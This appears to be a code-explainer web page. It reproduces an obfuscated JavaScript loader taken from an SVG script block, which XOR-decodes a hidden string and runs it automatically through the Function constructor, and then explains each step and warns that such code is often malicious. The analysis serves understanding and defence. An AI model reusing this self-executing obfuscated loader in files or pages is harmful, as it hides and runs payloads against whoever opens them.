This code performs the following actions: 1. Initialization: -...

July 2, 2025 at 07:23 PM


  const i = "bdd65fd0865d8e48898806a4", j = "150d0a525a114a5c57555410510a5a16504b5d5e100b4155160b061e55072c62581d12545b2d13131a740e74121d434d5a1d461d55043057581d12505a571313585a4d62501d015a340e041d123f09091f1d121174081313586f4274501d46042452431d55373254581d5529593254131a77086e121d46042055431d552b1e7e581d122b620c13131a01531a191d320f";
  const u = j.match(/.{2}/g), T = [];
  for (let B = 0; B < u.length; B++) {
    T.push(String.fromCharCode(parseInt(u[B], 16) ^ i.charCodeAt(B % i.length)));
  }
  const s = T.join('');
  const A = {
    toString: () => {
      const r = [][
        [115,111,109,101].map(y => String.fromCharCode(y)).join('')
      ][
        [99,111,110,115,116,114,117,99,116,111,114].map(y => String.fromCharCode(y)).join('')
      ];
      return r(s)(), 1;
    }
  };
  A + '';
})();
]]>
</script>
</svg>

This code performs the following actions:

Initialization:
- Two constants are defined: i and j.
  - i is a string containing a hexadecimal-like sequence.
  - j is a much larger hexadecimal-like string.
- The string j is split into pairs of two characters using j.match(/.{2}/g), which creates an array u.
Decoding:
- It creates an array T and iterates through the array u. During each iteration:
  - The current two-character hex pair from u is converted to its integer representation using parseInt(u[B], 16).
  - The character code at position (B % i.length) of i is fetched using i.charCodeAt(B % i.length).
  - A bitwise XOR (^) is performed between these two values.
  - The resulting value is converted into a character using String.fromCharCode and added to the array T.
- After the loop, T contains decoded characters, and they are joined into a single string s using T.join('').
String Obfuscation/Manipulation:
- An object A is created with a custom toString method. This method:
  - Constructs the property name by dynamically converting ASCII codes into strings, forming the words some and constructor.
  - Accesses the constructor property of the empty array ([]), which refers to the Array constructor.
  - Uses Array.constructor (which is essentially JavaScript's Function constructor) to execute the string s as code (r(s)()).
Execution of Obfuscated Code:
- The object's custom toString method is invoked when A + '' is encountered.
- As a result, the string s (which was constructed earlier) is executed as JavaScript code.

Summary:

This is heavily obfuscated JavaScript code designed to:

Decode a string (j) using a key (i) via bitwise XOR.
Construct and execute the decoded string (s) as JavaScript code using the Function constructor.

The purpose of the decoded code depends on the content of s, which is the final "executed" payload. This kind of code is often observed in malicious or obfuscated scripts, where the intent is to hide the actual functionality or behavior of the program. Running this code can potentially be dangerous if you do not understand its decoded result.

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This code performs the following actions: 1. **Initialization:** -...

Summary:

This code performs the following actions: 1. Initialization: -...